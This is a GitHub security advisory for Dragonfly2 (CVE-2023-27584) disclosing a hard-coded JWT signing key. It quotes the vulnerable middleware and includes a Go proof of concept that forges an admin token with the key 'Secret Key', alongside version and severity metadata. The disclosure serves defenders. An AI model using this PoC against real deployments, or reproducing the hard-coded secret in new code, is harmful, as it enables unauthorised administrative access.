GHSA-HPC8-7WPM-889W

Vulnerability from github – Published: 2024-09-19 14:47 – Updated: 2025-04-23 14:51
VLAI?
Summary
Dragonfly2 has hard coded cyptographic key
Details

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
        Realm:       "Dragonfly",
        Key:         []byte("Secret Key"),
        Timeout:     2 * 24 * time.Hour,
        MaxRefresh:  2 * 24 * time.Hour,
        IdentityKey: identityKey,

        IdentityHandler: func(c *gin.Context) any {
            claims := jwt.ExtractClaims(c)

            id, ok := claims[identityKey]
            if !ok {
                c.JSON(http.StatusUnauthorized, gin.H{
                    "message": "Unavailable token: require user id",
                })
                c.Abort()
                return nil
            }

            c.Set("id", id)
            return id
        })

PoC

Use code below to generate a jwt token

package main

import (
    "errors"
    "fmt"
    "time"

    "github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
    // Verify expiry.
    if stc.ExpiresAt <= time.Now().UTC().Unix() {
        vErr := new(jwt.ValidationError)
        vErr.Inner = errors.New("Token is expired")
        vErr.Errors |= jwt.ValidationErrorExpired
        return vErr
    }
    return nil
}

type DragonflyTokenClaims struct {
    Id        int32 `json:"id,omitempty"`
    ExpiresAt int64 `json:"exp,omitempty"`
    Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
    signingKey := "Secret Key"
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
        ExpiresAt: time.Now().Add(time.Hour).Unix(),
        Id:        1,
        Issue:     time.Now().Unix(),
    })
    signedToken, _ := token.SignedString([]byte(signingKey))
    fmt.Println(signedToken)
}

And send request with JWT above , you can still get data without restriction. image

Impact

An attacker can perform any action as a user with admin privileges.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "d7y.io/dragonfly/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-alpha.0"
            },
            {
              "fixed": "2.1.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "d7y.io/dragonfly/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.9-rc.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27584"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-321",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-19T14:47:36Z",
    "nvd_published_at": "2024-09-19T23:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nHello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature. \n\n### Details\nDragonfly uses  [JWT](https://github.com/dragonflyoss/Dragonfly2/blob/cddcac7e3bdb010811e2b62b3c71d9d5c6749011/manager/middlewares/jwt.go) to verify user. However, the secret key for JWT, \"Secret Key\", is hard coded, which leads to authentication bypass\n```go\nauthMiddleware, err := jwt.New(\u0026jwt.GinJWTMiddleware{\n\t\tRealm:       \"Dragonfly\",\n\t\tKey:         []byte(\"Secret Key\"),\n\t\tTimeout:     2 * 24 * time.Hour,\n\t\tMaxRefresh:  2 * 24 * time.Hour,\n\t\tIdentityKey: identityKey,\n\n\t\tIdentityHandler: func(c *gin.Context) any {\n\t\t\tclaims := jwt.ExtractClaims(c)\n\n\t\t\tid, ok := claims[identityKey]\n\t\t\tif !ok {\n\t\t\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\t\t\"message\": \"Unavailable token: require user id\",\n\t\t\t\t})\n\t\t\t\tc.Abort()\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tc.Set(\"id\", id)\n\t\t\treturn id\n\t\t})\n```\n\n### PoC\nUse code below to generate a jwt token\n```go\npackage main\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/golang-jwt/jwt/v4\"\n)\n\nfunc (stc *DragonflyTokenClaims) Valid() error {\n\t// Verify expiry.\n\tif stc.ExpiresAt \u003c= time.Now().UTC().Unix() {\n\t\tvErr := new(jwt.ValidationError)\n\t\tvErr.Inner = errors.New(\"Token is expired\")\n\t\tvErr.Errors |= jwt.ValidationErrorExpired\n\t\treturn vErr\n\t}\n\treturn nil\n}\n\ntype DragonflyTokenClaims struct {\n\tId        int32 `json:\"id,omitempty\"`\n\tExpiresAt int64 `json:\"exp,omitempty\"`\n\tIssue     int64 `json:\"orig_iat,omitempty\"`\n}\n\nfunc main() {\n\tsigningKey := \"Secret Key\"\n\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, \u0026DragonflyTokenClaims{\n\t\tExpiresAt: time.Now().Add(time.Hour).Unix(),\n\t\tId:        1,\n\t\tIssue:     time.Now().Unix(),\n\t})\n\tsignedToken, _ := token.SignedString([]byte(signingKey))\n\tfmt.Println(signedToken)\n}\n```\nAnd send request with JWT above , you can still get data without restriction.\n\u003cimg width=\"1241\" alt=\"image\" src=\"https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png\"\u003e\n\n\n### Impact\nAn attacker can perform any action as a user with admin privileges.",
  "id": "GHSA-hpc8-7wpm-889w",
  "modified": "2025-04-23T14:51:32Z",
  "published": "2024-09-19T14:47:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/security/advisories/GHSA-hpc8-7wpm-889w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27584"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/Dragonfly2/commit/e9da69dc4048bf2a18a671be94616d85e3429433"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/dragonfly/commit/684469a31bd27d38c715c507bca9f6d2c21f9007"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dragonflyoss/Dragonfly2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dragonflyoss/Dragonfly2/releases/tag/v2.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dragonfly2 has hard coded cyptographic key"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…